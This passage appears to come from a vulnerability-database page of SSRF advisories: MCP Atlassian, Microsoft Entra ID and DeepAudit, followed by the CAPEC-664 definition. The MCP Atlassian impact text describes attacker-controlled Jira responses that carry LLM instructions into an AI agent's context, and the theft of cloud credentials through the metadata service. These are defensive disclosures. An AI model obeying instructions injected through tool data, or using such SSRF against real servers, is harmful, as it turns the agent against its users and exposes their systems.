SSRF.\n\n\n### Impact\nThis vulnerability affects any deployment using `--transport streamable-http` or `--transport sse`. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.\n\n  - Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices)\n  not directly reachable from outside the network.\n  - AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker\u0027s server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent\u0027s context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation.\n  - Cloud deployments: Any network-reachable attacker can potentially steal the server\u0027s IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.",
  "id": "GHSA-7r34-79r5-rcc9",
  "modified": "2026-03-10T18:48:46Z",
  "published": "2026-03-10T18:48:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-7r34-79r5-rcc9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/5cd697dfce9116ef330b8dc7a91291640e0528d9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers"
}

GHSA-7R3R-J3VR-C4W6

Vulnerability from github – Published: 2026-04-24 00:31 – Updated: 2026-04-24 00:31
VLAI
Details

Server-side request forgery (ssrf) in Microsoft Entra ID Entitlement Management allows an unauthorized attacker to perform spoofing over a network.

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-35431"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-23T22:16:38Z",
    "severity": "CRITICAL"
  },
  "details": "Server-side request forgery (ssrf) in Microsoft Entra ID Entitlement Management allows an unauthorized attacker to perform spoofing over a network.",
  "id": "GHSA-7r3r-j3vr-c4w6",
  "modified": "2026-04-24T00:31:51Z",
  "published": "2026-04-24T00:31:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35431"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35431"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7R5X-3969-58XR

Vulnerability from github – Published: 2026-02-16 06:31 – Updated: 2026-02-16 06:31
VLAI
Details

A vulnerability was detected in lintsinghua DeepAudit up to 3.0.3. This issue affects some unknown processing of the file backend/app/api/v1/endpoints/embedding_config.py of the component IP Address Handler. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. Upgrading to version 3.0.4 and 3.1.0 is capable of addressing this issue. The patch is named da853fdd8cbe9d42053b45d83f25708ba29b8b27. It is suggested to upgrade the affected component.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-2532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-16T04:15:52Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was detected in lintsinghua DeepAudit up to 3.0.3. This issue affects some unknown processing of the file backend/app/api/v1/endpoints/embedding_config.py of the component IP Address Handler. Performing a manipulation results in server-side request forgery. It is possible to initiate the attack remotely. Upgrading to version 3.0.4 and 3.1.0 is capable of addressing this issue. The patch is named da853fdd8cbe9d42053b45d83f25708ba29b8b27. It is suggested to upgrade the affected component.",
  "id": "GHSA-7r5x-3969-58xr",
  "modified": "2026-02-16T06:31:29Z",
  "published": "2026-02-16T06:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/issues/144"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/pull/145"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/commit/da853fdd8cbe9d42053b45d83f25708ba29b8b27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lintsinghua/DeepAudit/releases/tag/v3.0.4"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.346120"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.346120"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.748220"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list